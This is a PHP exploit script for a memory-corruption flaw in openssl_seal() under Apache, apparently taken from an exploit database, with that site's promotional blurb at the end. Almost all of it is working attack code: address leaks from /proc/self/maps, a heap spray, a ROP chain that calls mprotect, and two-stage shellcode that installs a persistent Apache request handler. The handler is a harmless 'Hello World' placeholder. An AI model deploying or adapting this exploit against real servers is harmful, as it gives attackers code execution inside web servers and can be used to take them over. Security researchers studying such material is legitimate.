<?php
// Source: http://akat1.pl/?id=1
function get_maps() {
$fh = fopen("/proc/self/maps", "r");
$maps = fread($fh, 331337);
fclose($fh);
return explode("\n", $maps);
}
function find_map($sym) {
$addr = 0;
foreach(get_maps() as $record)
if (strstr($record, $sym) && strstr($record, "r-xp")) {
$addr = hexdec(explode('-', $record)[0]);
break;
}
if ($addr == 0)
die("[-] can't find $sym base, you need an information leak :[");
return $addr;
}
function fill_buffer($offset, $content) {
global $buffer;
for ($i = 0; $i < strlen($content); $i++)
$buffer[$offset + $i] = $content[$i];
return;
}
$pre = get_maps();
$buffer = str_repeat("\x00", 0xff0000);
$post = get_maps();
$tmp = array_diff($post, $pre);
if (count($tmp) != 1)
die('[-] you need an information leak :[');
$buffer_base = hexdec(explode('-',array_values($tmp)[0])[0]);
$addr = $buffer_base+0x14; /* align to string */
echo "[+] buffer string @ 0x".dechex($addr)."\n";
$align = 0xff;
$addr += $align;
echo "[+] faking EVP_PKEY @ 0x".dechex($addr)."\n";
echo "[+] faking ASN @ 0x".dechex($addr)."\n";
fill_buffer($align + 12, pack('P', $addr));
$libphp_base = find_map("libphp7");
echo "[+] libphp7 base @ 0x".dechex($libphp_base)."\n";
/* pop x ; pop rsp ; ret - stack pivot */
$rop_addr = $libphp_base + 0x00000000004a79c3;
echo "[+] faking pkey_free @ 0x".dechex($addr+0xa0-4)." = ".dechex($rop_addr)."\n";
fill_buffer($align + 0xa0 - 4, pack('P', $rop_addr));
/* pop rbp ; pop rbp ; ret - clean up the stack after pivoting */
$rop_addr = $libphp_base + 0x000000000041d583;
fill_buffer($align - 4, pack('P', $rop_addr));
$libc_base = find_map("libc-");
echo "[+] libc base @ 0x".dechex($libc_base)."\n";
$mprotect_offset = 0xf4a20;
$mprotect_addr = $libc_base + $mprotect_offset;
echo "[+] mprotect @ 0x".dechex($mprotect_addr)."\n";
$mmap_offset = 0xf49c0;
$mmap_addr = $libc_base + $mmap_offset;
echo "[+] mmap @ 0x".dechex($mmap_addr)."\n";
$apache2_base = find_map("/usr/sbin/apache2");
echo "[+] apache2 base @ 0x".dechex($apache2_base)."\n";
$ap_rprintf_offset = 0x429c0;
$ap_rprintf_addr = $apache2_base + $ap_rprintf_offset;
echo "[+] ap_rprintf @ 0x".dechex($ap_rprintf_addr)."\n";
$ap_hook_quick_handler_offset = 0x56c00;
$ap_hook_quick_handler_addr = $apache2_base + $ap_hook_quick_handler_offset;
echo "[+] ap_hook_quick_handler @ 0x".dechex($ap_hook_quick_handler_addr)."\n";
echo "[+] building ropchain\n";
$rop_chain =
pack('P', $libphp_base + 0x00000000000ea107) . // pop rdx ; ret
pack('P', 0x0000000000000007) . // rdx = 7
pack('P', $libphp_base + 0x00000000000e69bd) . // pop rsi ; ret
pack('P', 0x0000000000004000) . // rsi = 0x1000
pack('P', $libphp_base + 0x00000000000e5fd8) . // pop rdi ; ret
pack('P', $addr ^ ($addr & 0xffff)) . // rdi = page aligned addr
pack('P', $mprotect_addr) . // mprotect addr
pack('P', ($addr ^ ($addr & 0xffff)) | 0x10ff); // return to shellcode_stage1
fill_buffer($align + 0x14, $rop_chain);
$shellcode_stage1 = str_repeat("\x90", 512) .
"\x48\xb8" . pack('P', $buffer_base + 0x2018) . // movabs shellcode_stage2, %rax
"\x49\xb8" . pack('P', 0x1000) . // handler size
"\x48\xb9" . pack('P', $buffer_base + 0x3018) . // handler
"\x48\xba" . pack('P', $ap_hook_quick_handler_addr) . // movabs ap_hook_quick_handler, %rdx
"\x48\xbe" . pack('P', 0) . // UNUSED
"\x48\xbf" . pack('P', $mmap_addr) . // movabs mmap,%rdi
"\xff\xd0" . // callq %rax
"\xb8\x27\x00\x00\x00" . // mov $0x27,%eax - getpid syscall
"\x0f\x05" . // syscall
"\xbe\x1b\x00\x00\x00" . // mov $0xd,%esi - SIGPROF
"\x89\xc7" . // mov %eax,%edi - pid
"\xb8\x3e\x00\x00\x00" . // mov $0x3e,%eax - kill syscall
"\x0f\x05"; // syscall
fill_buffer(0x1000, $shellcode_stage1);
$shellcode_stage2 = str_repeat("\x90", 512) .
"\x55" . // push %rbp
"\x48\x89\xe5" . // mov %rsp,%rbp
"\x48\x83\xec\x40" . // sub $0x40,%rsp
"\x48\x89\x7d\xe8" . // mov %rdi,-0x18(%rbp)
"\x48\x89\x75\xe0" . // mov %rsi,-0x20(%rbp)
"\x48\x89\x55\xd8" . // mov %rdx,-0x28(%rbp)
"\x48\x89\x4d\xd0" . // mov %rcx,-0x30(%rbp)
"\x4c\x89\x45\xc8" . // mov %r8,-0x38(%rbp)
"\x48\x8b\x45\xe8" . // mov -0x18(%rbp),%rax
"\x41\xb9\x00\x00\x00\x00" . // mov $0x0,%r9d
"\x41\xb8\xff\xff\xff\xff" . // mov $0xffffffff,%r8d
"\xb9\x22\x00\x00\x00" . // mov $0x22,%ecx
"\xba\x07\x00\x00\x00" . // mov $0x7,%edx
"\xbe\x00\x20\x00\x00" . // mov $0x2000,%esi
"\xbf\x00\x00\x00\x00" . // mov $0x0,%edi
"\xff\xd0" . // callq *%rax
"\x48\x89\x45\xf0" . // mov %rax,-0x10(%rbp)
"\x48\x8b\x45\xf0" . // mov -0x10(%rbp),%rax
"\x48\x89\x45\xf8" . // mov %rax,-0x8(%rbp)
"\xeb\x1d" . // jmp 0x40063d <shellcode+0x6d>
"\x48\x8b\x45\xf8" . // mov -0x8(%rbp),%rax
"\x48\x8d\x50\x01" . // lea 0x1(%rax),%rdx
"\x48\x89\x55\xf8" . // mov %rdx,-0x8(%rbp)
"\x48\x8b\x55\xd0" . // mov -0x30(%rbp),%rdx
"\x48\x8d\x4a\x01" . // lea 0x1(%rdx),%rcx
"\x48\x89\x4d\xd0" . // mov %rcx,-0x30(%rbp)
"\x0f\xb6\x12" . // movzbl (%rdx),%edx
"\x88\x10" . // mov %dl,(%rax)
"\x48\x8b\x45\xc8" . // mov -0x38(%rbp),%rax
"\x48\x8d\x50\xff" . // lea -0x1(%rax),%rdx
"\x48\x89\x55\xc8" . // mov %rdx,-0x38(%rbp)
"\x48\x85\xc0" . // test %rax,%rax
"\x75\xd2" . // jne 0x400620 <shellcode+0x50>
"\x48\x8b\x7d\xf0" . // mov -0x10(%rbp),%rdi
"\x48\x8b\x45\xd8" . // mov -0x28(%rbp),%rax
"\xb9\xf6\xff\xff\xff" . // mov $0xfffffff6,%ecx
"\xba\x00\x00\x00\x00" . // mov $0x0,%edx
"\xbe\x00\x00\x00\x00" . // mov $0x0,%esi
"\xff\xd0" . // callq *%rax
"\xc9" . // leaveq
"\xc3"; // retq
fill_buffer(0x2000, $shellcode_stage2);
$handler =
"\x55" . // push %rbp
"\x48\x89\xe5" . // mov %rsp,%rbp
"\x48\x83\xec\x30" . // sub $0x30,%rsp
"\x48\x89\x7d\xd8" . // mov %rdi,-0x28(%rbp)
"\x48\xb8" . pack('P', $ap_rprintf_addr) . // movabs $0xdeadbabefeedcafe,%rax
"\x48\x89\x45\xf8" . // mov %rax,-0x8(%rbp)
"\x48\xb8" . "Hello Wo" . // movabs CONTENT,%rax
"\x48\x89\x45\xe0" . // mov %rax,-0x20(%rbp)
"\x48\xb8" . "rld!\n\x00\x00\x00" . // movabs CONTENT,%rax
"\x48\x89\x45\xe8" . // mov %rax,-0x20(%rbp)
"\x48\x8d\x4d\xe0" . // lea -0x20(%rbp),%rcx
"\x48\x8b\x55\xd8" . // mov -0x28(%rbp),%rdx
"\x48\x8b\x45\xf8" . // mov -0x8(%rbp),%rax
"\x48\x89\xce" . // mov %rcx,%rsi
"\x48\x89\xd7" . // mov %rdx,%rdi
"\xff\xd0" . // callq *%rax
"\xb8\x00\x00\x00\x00" . // mov $0x0,%eax
"\xc9" . // leaveq
"\xc3"; // retq
fill_buffer(0x3000, $handler);
$addr = pack('P', $addr);
$memory = str_repeat($addr,321);
$pem = "
-----BEGIN PUBLIC KEY-----
MCwwDQYJKoZIhvcNAQEBBQADGwAwGAIRANG2dvm8oNiH3IciNd44VZcCAwEAAQ==
-----END PUBLIC KEY-----"; /* Random RSA key */
$a = array_fill(0,321,0);
/* place valid keys at the beginning */
$k = openssl_pkey_get_public($pem);
$a[0] = $k; $a[1] = $k; $a[2] = $k;
echo "[+] spraying heap\n";
$x = array();
for ($i = 0 ; $i < 20000 ; $i++) {
$x[$i] = str_repeat($memory, 1);
}
for ($i = 0 ; $i < 20000 ; $i++) {
unset($x[$i]);
}
unset($x);
echo "[+] triggering openssl_seal()...\n";
@openssl_seal($_, $_, $_, $a);
echo "[-] failed ;[\n";Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation